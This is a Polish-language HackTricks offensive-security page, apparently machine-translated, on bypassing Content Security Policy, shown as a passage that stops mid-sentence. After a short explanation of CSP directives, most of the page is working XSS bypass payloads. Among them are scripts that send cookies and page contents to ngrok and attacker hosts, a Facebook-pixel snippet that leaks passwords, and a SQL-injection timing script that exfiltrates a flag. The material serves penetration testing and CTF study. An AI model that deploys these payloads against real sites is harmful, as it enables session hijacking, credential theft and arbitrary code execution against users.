.. | ||
csp-bypass-self-+-unsafe-inline-with-iframes.md | ||
README.md |
Bypass zabezpieczeń zawartości (CSP)
Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLANY SUBSKRYPCYJNE!
- Kup oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud.
Dołącz do serwera HackenProof Discord, aby komunikować się z doświadczonymi hakerami i łowcami błędów!
Spojrzenie na Hacking
Zapoznaj się z treściami, które zagłębiają się w emocje i wyzwania hackowania
Aktualności z Hackingu na Żywo
Bądź na bieżąco z szybkim światem hackowania dzięki aktualnościom i spojrzeniom na żywo
Najnowsze Ogłoszenia
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
Dołącz do nas na Discordzie i zacznij współpracować z najlepszymi hakerami już dziś!
Co to jest CSP
Zabezpieczenie zawartości (CSP) jest uznawane za technologię przeglądarki, głównie mającą na celu ochronę przed atakami takimi jak skrypty międzywitrynne (XSS). Działa poprzez definiowanie i szczegółowe określanie ścieżek i źródeł, z których przeglądarka może bezpiecznie ładować zasoby. Te zasoby obejmują różne elementy, takie jak obrazy, ramki i JavaScript. Na przykład polityka może zezwalać na ładowanie i wykonywanie zasobów z tego samego domeny (self), w tym zasobów w linii oraz wykonywanie kodu łańcuchowego za pomocą funkcji takich jak eval
, setTimeout
lub setInterval
.
Wdrożenie CSP odbywa się poprzez nagłówki odpowiedzi lub poprzez włączenie elementów meta do strony HTML. Zgodnie z tą polityką, przeglądarki aktywnie egzekwują te postanowienia i natychmiast blokują wszelkie wykryte naruszenia.
- Wdrożone za pomocą nagłówka odpowiedzi:
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
- Wdrożone za pomocą meta tagu:
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
Nagłówki
CSP można egzekwować lub monitorować za pomocą tych nagłówków:
Content-Security-Policy
: Wymusza CSP; przeglądarka blokuje wszelkie naruszenia.Content-Security-Policy-Report-Only
: Używane do monitorowania; raportuje naruszenia bez ich blokowania. Idealne do testowania w środowiskach przedprodukcyjnych.
Definiowanie zasobów
CSP ogranicza pochodzenie ładowania zarówno aktywnych, jak i pasywnych zasobów, kontrolując aspekty takie jak wykonanie JavaScriptu w linii oraz użycie eval()
. Przykładowa polityka to:
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
Dyrektywy
- script-src: Pozwala na określenie konkretnych źródeł JavaScript, w tym adresów URL, skryptów w linii, oraz skryptów wywołanych przez event handlery lub arkusze stylów XSLT.
- default-src: Ustawia domyślną politykę pobierania zasobów, gdy określone dyrektywy pobierania są nieobecne.
- child-src: Określa dozwolone zasoby dla web workers oraz osadzonych treści ramek.
- connect-src: Ogranicza adresy URL, które mogą być ładowane za pomocą interfejsów takich jak fetch, WebSocket, XMLHttpRequest.
- frame-src: Ogranicza adresy URL dla ramek.
- frame-ancestors: Określa, które źródła mogą osadzać bieżącą stronę, dotyczy elementów takich jak
<frame>
,<iframe>
,<object>
,<embed>
, oraz<applet>
. - img-src: Definiuje dozwolone źródła dla obrazów.
- font-src: Określa prawidłowe źródła dla czcionek ładowanych za pomocą
@font-face
. - manifest-src: Definiuje dozwolone źródła plików manifestu aplikacji.
- media-src: Definiuje dozwolone źródła dla ładowania obiektów multimedialnych.
- object-src: Określa dozwolone źródła dla elementów
<object>
,<embed>
, oraz<applet>
. - base-uri: Określa dozwolone adresy URL do ładowania za pomocą elementów
<base>
. - form-action: Wymienia prawidłowe punkty końcowe dla przesyłania formularzy.
- plugin-types: Ogranicza typy mime, które strona może wywoływać.
- upgrade-insecure-requests: Nakazuje przeglądarkom przepisywanie adresów URL HTTP na HTTPS.
- sandbox: Nakłada ograniczenia podobne do atrybutu sandbox
<iframe>
. - report-to: Określa grupę, do której zostanie wysłane zgłoszenie w przypadku naruszenia polityki.
- worker-src: Określa prawidłowe źródła dla skryptów Worker, SharedWorker lub ServiceWorker.
- prefetch-src: Określa prawidłowe źródła dla zasobów, które zostaną pobrane lub wcześniej pobrane.
- navigate-to: Ogranicza adresy URL, do których dokument może nawigować w dowolny sposób (a, form, window.location, window.open, itp.)
Źródła
*
: Pozwala na wszystkie adresy URL z wyjątkiem tych z schematamidata:
,blob:
,filesystem:
.'self'
: Pozwala na ładowanie z tej samej domeny.'data'
: Pozwala na ładowanie zasobów za pomocą schematu data (np. obrazów zakodowanych w Base64).'none'
: Blokuje ładowanie z dowolnego źródła.'unsafe-eval'
: Pozwala na użycieeval()
i podobnych metod, niezalecane ze względów bezpieczeństwa.'unsafe-hashes'
: Umożliwia określone inline event handlery.'unsafe-inline'
: Pozwala na użycie zasobów w linii, takich jak inline<script>
lub<style>
, niezalecane ze względów bezpieczeństwa.'nonce'
: Biała lista dla konkretnych skryptów w linii za pomocą kryptograficznego nonce (numer użyty tylko raz).- Jeśli wykonanie JS jest ograniczone, możliwe jest uzyskanie użytego nonce na stronie za pomocą
doc.defaultView.top.document.querySelector("[nonce]")
, a następnie ponowne jego użycie do ładowania złośliwego skryptu (jeśli używane jest strict-dynamic, dowolne dozwolone źródło może ładować nowe źródła, więc to nie jest konieczne), jak w:
Ładowanie skryptu ponownie wykorzystując nonce
```html ```'sha256-<hash>'
: Białe listy skryptów z określonym haszem sha256.'strict-dynamic'
: Pozwala na ładowanie skryptów z dowolnego źródła, jeśli zostały dodane do białej listy za pomocą nonce lub hasha.'host'
: Określa określony host, np.example.com
.https:
: Ogranicza adresy URL do tych, które używają protokołu HTTPS.blob:
: Pozwala na ładowanie zasobów z adresów URL Blob (np. adresów URL Blob utworzonych za pomocą JavaScript).filesystem:
: Pozwala na ładowanie zasobów z systemu plików.'report-sample'
: Zawiera przykład naruszającego kodu w raporcie o naruszeniach (przydatne do debugowania).'strict-origin'
: Podobne do 'self', ale zapewnia, że poziom zabezpieczeń protokołu źródeł odpowiada dokumentowi (tylko bezpieczne źródła mogą ładować zasoby z bezpiecznych źródeł).'strict-origin-when-cross-origin'
: Wysyła pełne adresy URL podczas wykonywania żądań o tym samym pochodzeniu, ale wysyła tylko pochodzenie, gdy żądanie jest między pochodzeniowe.'unsafe-allow-redirects'
: Pozwala na ładowanie zasobów, które natychmiast przekierują do innego zasobu. Nie zaleca się, ponieważ osłabia to bezpieczeństwo.
Niebezpieczne zasady CSP
'unsafe-inline'
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
Działający payload: "/><script>alert(1);</script>
self + 'unsafe-inline' za pomocą ramek
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}
'unsafe-eval'
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
Działający ładunek:
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
strict-dynamic
Jeśli w jakiś sposób możesz sprawić, aby dozwolony kod JS utworzył nowy tag skryptu w DOM za pomocą swojego kodu JS, ponieważ dozwolony skrypt go tworzy, nowy tag skryptu będzie mógł zostać wykonany.
Wildcard (*)
Content-Security-Policy: script-src 'self' https://google.com https: data *;
Działający ładunek:
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
Brak object-src i default-src
{% hint style="danger" %} Wygląda na to, że to już nie działa {% endhint %}
Content-Security-Policy: script-src 'self' ;
Działające ładunki:
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
Przesyłanie plików + 'self'
Content-Security-Policy: script-src 'self'; object-src 'none' ;
Jeśli możesz przesłać plik JS, możesz ominąć tę CSP:
Działający ładunek:
"/>'><script src="/uploads/picture.png.js"></script>
Jednakże jest bardzo prawdopodobne, że serwer sprawdza przesłany plik i pozwoli Ci tylko przesłać określony rodzaj plików.
Co więcej, nawet jeśli udałoby Ci się przesłać kod JS wewnątrz pliku za pomocą akceptowanego przez serwer rozszerzenia (np. script.png), to nie wystarczy, ponieważ niektóre serwery, jak serwer apache, wybierają typ MIME pliku na podstawie rozszerzenia, a przeglądarki, jak Chrome, odmówią wykonania kodu Javascript w czymś, co powinno być obrazem. "Na szczęście" są błędy. Na przykład, z CTF dowiedziałem się, że Apache nie rozpoznaje rozszerzenia .wave, dlatego nie serwuje go z typem MIME takim jak audio/*.
Stąd, jeśli znajdziesz XSS i możliwość przesłania pliku, oraz uda Ci się znaleźć błędne rozszerzenie, możesz spróbować przesłać plik z tym rozszerzeniem i zawartością skryptu. Lub, jeśli serwer sprawdza poprawny format przesłanego pliku, stwórz poliglot (kilka przykładów poliglotów tutaj).
Form-action
Jeśli nie jest możliwe wstrzyknięcie JS, nadal możesz spróbować np. wydobyć dane, np. dane uwierzytelniające, wstrzykując akcję formularza (i być może licząc na automatyczne wypełnienie haseł przez menedżery haseł). Możesz znaleźć przykład w tym raporcie. Zauważ także, że default-src
nie obejmuje działań formularza.
Zewnętrzne punkty końcowe + ('unsafe-eval')
{% hint style="warning" %}
Dla niektórych z poniższych ładunków unsafe-eval
nie jest nawet potrzebne.
{% endhint %}
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
Załaduj podatną wersję angular i wykonaj dowolny kod JS:
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>
Payloady wykorzystujące Angular + bibliotekę z funkcjami zwracającymi obiekt window
(sprawdź ten post):
{% hint style="info" %}
W poście pokazano, że można załadować wszystkie biblioteki z cdn.cloudflare.com
(lub z dowolnego innego repozytorium zezwolonych bibliotek JS), wykonać wszystkie dodane funkcje z każdej biblioteki i sprawdzić, które funkcje z których bibliotek zwracają obiekt window
.
{% endhint %}
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>
Angular XSS z nazwy klasy:
Angular XSS z nazwy klasy:
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
Nadużywanie kodu JS google recaptcha
Zgodnie z tym opisem CTF można nadużyć https://www.google.com/recaptcha/ wewnątrz CSP, aby wykonać dowolny kod JS, omijając CSP:
<div
ng-controller="CarouselController as c"
ng-init="c.init()"
>
[[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
Więcej payloadów z tego wpisu:
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>
<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
Wykorzystywanie www.google.com do przekierowania
Następujący adres URL przekierowuje do example.com (z tutaj):
https://www.google.com/amp/s/example.com/
Złożenie nadużycia *.google.com/script.google.com
Istnieje możliwość nadużycia Google Apps Script w celu otrzymywania informacji na stronie wewnątrz script.google.com. Tak jak to zostało wykonane w tym raporcie.
Zewnętrzne punkty końcowe + JSONP
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
Scenariusze, w których script-src
jest ustawiony na self
i określona domena jest dodana do białej listy, można ominąć, korzystając z JSONP. Punkty końcowe JSONP pozwalają na niezabezpieczone metody wywołań zwrotnych, co umożliwia atakującemu wykonanie XSS, działający ładunek:
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
JSONBee zawiera gotowe do użycia punkty końcowe JSONP do obejścia CSP na różnych stronach internetowych.
Ta sama podatność wystąpi, jeśli zaufany punkt końcowy zawiera Przekierowanie Otwarte, ponieważ jeśli początkowy punkt końcowy jest zaufany, przekierowania są zaufane.
Nadużycia stron trzecich
Jak opisano w poniższym poście, istnieje wiele domen stron trzecich, które mogą być dozwolone gdzieś w CSP, mogą być wykorzystane do wycieku danych lub wykonania kodu JavaScript. Niektóre z tych stron trzecich to:
Podmiot | Dozwolona Domena | Zdolności |
---|---|---|
www.facebook.com, *.facebook.com | Wyciek | |
Hotjar | *.hotjar.com, ask.hotjar.io | Wyciek |
Jsdelivr | *.jsdelivr.com, cdn.jsdelivr.net | Wykonanie |
Amazon CloudFront | *.cloudfront.net | Wyciek, Wykonanie |
Amazon AWS | *.amazonaws.com | Wyciek, Wykonanie |
Azure Websites | *.azurewebsites.net, *.azurestaticapps.net | Wyciek, Wykonanie |
Salesforce Heroku | *.herokuapp.com | Wyciek, Wykonanie |
Google Firebase | *.firebaseapp.com | Wyciek, Wykonanie |
Jeśli znajdziesz którąś z dozwolonych domen w CSP swojego celu, istnieje szansa, że będziesz w stanie obejść CSP, rejestrując się w usłudze stron trzecich i albo wyciekać dane do tej usługi, albo wykonywać kod.
Na przykład, jeśli znajdziesz następujący CSP:
Content-Security-Policy: default-src 'self’ www.facebook.com;
lub
Content-Security-Policy: connect-src www.facebook.com;
- Utwórz konto dewelopera na Facebooku tutaj.
- Stwórz nową aplikację "Facebook Login" i wybierz "Strona internetowa".
- Przejdź do "Ustawienia -> Podstawowe" i pobierz swoje "ID aplikacji".
- Na stronie docelowej, z której chcesz wyciekać dane, możesz to zrobić bezpośrednio za pomocą gadżetu Facebook SDK "fbq" poprzez "customEvent" i ładunek danych.
- Przejdź do "Menedżera zdarzeń" swojej aplikacji i wybierz utworzoną aplikację (zauważ, że menedżer zdarzeń można znaleźć pod podobnym adresem URL: https://www.facebook.com/events_manager2/list/pixel/[app-id]/test_events).
- Wybierz zakładkę "Zdarzenia testowe", aby zobaczyć zdarzenia wysyłane przez Twoją witrynę.
Następnie, po stronie ofiary, wykonaj poniższy kod, aby zainicjować piksel śledzenia Facebooka, który będzie wskazywał na aplikację dewelopera atakującego o podanym ID aplikacji i wydał zdarzenie niestandardowe:
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
fbq('trackCustom', 'My-Custom-Event',{
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
});
Bypass za pomocą RPO (Relative Path Overwrite)
Oprócz wspomnianej wcześniej techniki przekierowania do ominięcia ograniczeń ścieżki istnieje inna technika o nazwie Relative Path Overwrite (RPO), która może być użyta na niektórych serwerach.
Na przykład, jeśli CSP zezwala na ścieżkę https://example.com/scripts/react/
, można ją ominąć w następujący sposób:
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
Przeglądarka ostatecznie załaduje https://example.com/scripts/angular/angular.js
.
To działa, ponieważ dla przeglądarki ładowany jest plik o nazwie ..%2fangular%2fangular.js
znajdujący się w https://example.com/scripts/react/
, co jest zgodne z CSP.
Następnie zdekodują to, efektywnie żądając https://example.com/scripts/react/../angular/angular.js
, co jest równoważne z https://example.com/scripts/angular/angular.js
.
Wykorzystując tę niekonsekwencję w interpretacji adresów URL między przeglądarką a serwerem, można ominąć reguły ścieżki.
Rozwiązaniem jest nie traktowanie %2f
jako /
po stronie serwera, zapewniając spójną interpretację między przeglądarką a serwerem, aby uniknąć tego problemu.
Przykład online: https://jsbin.com/werevijewa/edit?html,output
Wykonywanie JS w Iframes
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}
brakujący base-uri
Jeśli dyrektywa base-uri jest pominięta, można ją wykorzystać do wykonania wstrzyknięcia zawieszonego znacznika.
Co więcej, jeśli strona ładuje skrypt za pomocą ścieżki względnej (np. <script src="/js/app.js">
) używając Nonce, można wykorzystać tag base do ładowania skryptu z własnego serwera, osiągając XSS.
Jeśli podatna strona jest ładowana z httpS, użyj adresu URL httpS w tagu base.
<base href="https://www.attacker.com/">
Wydarzenia AngularJS
Konkretna polityka znana jako Content Security Policy (CSP) może ograniczać wydarzenia JavaScript. Niemniej jednak, AngularJS wprowadza niestandardowe wydarzenia jako alternatywę. W ramach wydarzenia, AngularJS udostępnia unikalny obiekt $event
, odnoszący się do natywnego obiektu zdarzenia przeglądarki. Ten obiekt $event
może być wykorzystany do obejścia CSP. Warto zauważyć, że w Chrome obiekt $event/event
posiada atrybut path
, przechowujący tablicę obiektów zaangażowanych w łańcuch wykonania zdarzenia, z obiektem window
zawsze umieszczonym na końcu. Ta struktura jest kluczowa dla taktyk ucieczki z piaskownicy.
Poprzez kierowanie tej tablicy do filtra orderBy
, możliwe jest iterowanie po niej, wykorzystując terminalny element (obiekt window
) do wywołania globalnej funkcji, takiej jak alert()
. Przedstawiony poniżej fragment kodu ilustruje ten proces:
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
To fragment pokazuje użycie dyrektywy ng-focus
do wywołania zdarzenia, korzystając z $event.path|orderBy
do manipulowania tablicą path
, oraz wykorzystując obiekt window
do wykonania funkcji alert()
, ujawniając w ten sposób document.cookie
.
Znajdź inne obejścia Angulara na https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
AngularJS i domena z białej listy
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
Polityka CSP, która uwzględnia domeny do ładowania skryptów w aplikacji Angular JS, może zostać obejścia poprzez wywołanie funkcji zwrotnych i pewnych podatnych klas. Więcej informacji na temat tej techniki można znaleźć w szczegółowym przewodniku dostępnym w tym [repozytorium git](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22).
Działające ładunki:
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
Inne punkty końcowe do dowolnego wykonania JSONP można znaleźć tutaj (niektóre z nich zostały usunięte lub naprawione)
Bypass za pomocą przekierowania
Co się dzieje, gdy CSP napotyka przekierowanie po stronie serwera? Jeśli przekierowanie prowadzi do innej domeny, która nie jest dozwolona, to i tak zakończy się niepowodzeniem.
Jednakże, zgodnie z opisem w specyfikacji CSP 4.2.2.3. Ścieżki i przekierowania, jeśli przekierowanie prowadzi do innej ścieżki, może ominąć oryginalne ograniczenia.
Oto przykład:
<!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
</head>
<body>
<div id=userContent>
<script src="https://https://www.google.com/test"></script>
<script src="https://https://www.google.com/a/test"></script>
<script src="http://localhost:5555/301"></script>
</div>
</body>
</html>
Jeśli CSP jest ustawione na https://www.google.com/a/b/c/d
, ponieważ uwzględniany jest ścieżka, zarówno skrypty /test
, jak i /a/test
zostaną zablokowane przez CSP.
Jednakże, ostateczny http://localhost:5555/301
zostanie przekierowany po stronie serwera do https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//
. Ponieważ jest to przekierowanie, ścieżka nie jest brana pod uwagę, a skrypt może być załadowany, co umożliwia obejście ograniczenia ścieżki.
Dzięki temu przekierowaniu, nawet jeśli ścieżka jest wskazana w całości, nadal zostanie ona ominięta.
Dlatego najlepszym rozwiązaniem jest upewnienie się, że witryna nie posiada podatności na otwarte przekierowania oraz że nie ma domen, które mogą być wykorzystane w zasadach CSP.
Ominięcie CSP za pomocą zawieszonego znacznika
Przeczytaj tutaj.
'unsafe-inline'; img-src *; za pomocą XSS
default-src 'self' 'unsafe-inline'; img-src *;
'unsafe-inline'
oznacza, że można wykonać dowolny skrypt wewnątrz kodu (XSS może wykonać kod), a img-src *
oznacza, że można użyć na stronie internetowej dowolnego obrazu z dowolnego źródła.
Można ominąć tę CSP, eksfiltrując dane za pomocą obrazów (w tym przypadku XSS wykorzystuje CSRF, gdzie strona dostępna dla bota zawiera SQLi i wydobywa flagę za pomocą obrazu):
<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>
Z: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle
Możesz również nadużyć tej konfiguracji, aby załadować kod JavaScript wstawiony wewnątrz obrazu. Jeśli na przykład strona pozwala na ładowanie obrazów z Twittera, możesz stworzyć specjalny obraz, przesłać go na Twittera i nadużyć "unsafe-inline" do wykonania kodu JS (jak w zwykłym XSS), który załaduje obraz, wydobędzie z niego JS i wykona go: https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
Z Użyciem Pracowników Usługi
Funkcja importScripts
pracowników usługi nie jest ograniczona przez CSP:
{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}
Wstrzykiwanie Polityki
Badania: https://portswigger.net/research/bypassing-csp-with-policy-injection
Chrome
Jeśli parametr wysłany przez ciebie jest wklejany do deklaracji polityki, możesz zmienić politykę w taki sposób, że stanie się bezużyteczna. Możesz zezwolić na skrypt 'unsafe-inline' za pomocą któregokolwiek z tych obejść:
script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'
Ponieważ ta dyrektywa nadpisze istniejące dyrektywy script-src.
Możesz znaleźć przykład tutaj: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E
Edge
W Edge jest znacznie prostsze. Jeśli możesz dodać do CSP tylko to: ;_
Edge odrzuci całą politykę.
Przykład: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E
img-src *; za pomocą XSS (iframe) - Atak czasowy
Zauważ brak dyrektywy 'unsafe-inline'
Tym razem możesz sprawić, że ofiara załaduje stronę pod Twoją kontrolą za pomocą XSS z <iframe
. Tym razem sprawisz, że ofiara uzyska dostęp do strony, z której chcesz wyciągnąć informacje (CSRF). Nie możesz uzyskać dostępu do zawartości strony, ale jeśli w jakiś sposób możesz kontrolować czas potrzebny na załadowanie strony, możesz wyciągnąć potrzebne informacje.
Tym razem flaga zostanie wyciągnięta, za każdym razem gdy poprawnie zgadniesz znak za pomocą SQLi, odpowiedź zajmie więcej czasu z powodu funkcji sleep. Wtedy będziesz mógł wyciągnąć flagę:
<!--code from https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle -->
<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}
function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}
async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}
let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'
async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t = await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}
run();
</script>
Za pomocą zakładek
Ten atak zakłada pewne inżynierii społecznej, gdzie atakujący przekonuje użytkownika, aby przeciągnął i upuścił link na zakładkę przeglądarki. Ta zakładka zawierałaby złośliwy kod JavaScript, który po przeciągnięciu lub kliknięciu byłby wykonywany w kontekście bieżącego okna przeglądarki, omijając CSP i umożliwiając kradzież wrażliwych informacji takich jak ciasteczka lub tokeny.
Aby uzyskać więcej informacji, sprawdź oryginalny raport tutaj.
Ominięcie CSP poprzez ograniczenie CSP
W tym rozwiązaniu CTF, CSP jest ominięty poprzez wstrzyknięcie bardziej restrykcyjnego CSP do dozwolonego elementu iframe, który uniemożliwiał załadowanie określonego pliku JS, który następnie, poprzez zanieczyszczanie prototypu lub nadpisywanie DOM, pozwalał na wykorzystanie innego skryptu do załadowania dowolnego skryptu.
Możesz ograniczyć CSP elementu iframe za pomocą atrybutu csp
:
{% code overflow="wrap" %}
<iframe src="https://biohazard-web.2023.ctfcompetition.com/view/[bio_id]" csp="script-src https://biohazard-web.2023.ctfcompetition.com/static/closure-library/ https://biohazard-web.2023.ctfcompetition.com/static/sanitizer.js https://biohazard-web.2023.ctfcompetition.com/static/main.js 'unsafe-inline' 'unsafe-eval'"></iframe>
{% endcode %}
W tym opisie CTF było możliwe dzięki wstrzyknięciu HTML ograniczenie bardziej CSP, więc skrypt zapobiegający CSTI został wyłączony, a tym samym podatność stała się wykorzystywalna.
CSP można zrobić bardziej restrykcyjne za pomocą tagów meta HTML i skrypty inline mogą być wyłączone usuwając wpis pozwalający na ich nonce i włączając określony skrypt inline za pomocą sha:
<meta http-equiv="Content-Security-Policy" content="script-src 'self'
'unsafe-eval' 'strict-dynamic'
'sha256-whKF34SmFOTPK4jfYDy03Ea8zOwJvqmz%2boz%2bCtD7RE4='
'sha256-Tz/iYFTnNe0de6izIdG%2bo6Xitl18uZfQWapSbxHE6Ic=';">
Wykradanie danych JS za pomocą Content-Security-Policy-Report-Only
Jeśli uda ci się sprawić, że serwer odpowie nagłówkiem Content-Security-Policy-Report-Only
z wartością kontrolowaną przez ciebie (może to być spowodowane CRLF), możesz sprawić, że będzie on wskazywał na twój serwer, a jeśli opakujesz zawartość JS, którą chcesz wykraść, w znacznik <script>
i ponieważ bardzo prawdopodobne jest, że unsafe-inline
nie jest dozwolone przez CSP, spowoduje to wygenerowanie błędu CSP i część skryptu (zawierająca wrażliwe informacje) zostanie wysłana na serwer z Content-Security-Policy-Report-Only
.
Przykład znajdziesz w tym opisie rozwiązania CTF.
CVE-2020-6519
document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";
Ujawnianie informacji za pomocą CSP i Iframe
- Tworzony jest element
iframe
, który wskazuje na adres URL (nazwijmy gohttps://example.redirect.com
), który jest zezwolony przez CSP. - Następnie ten adres URL przekierowuje do tajnego adresu URL (np.
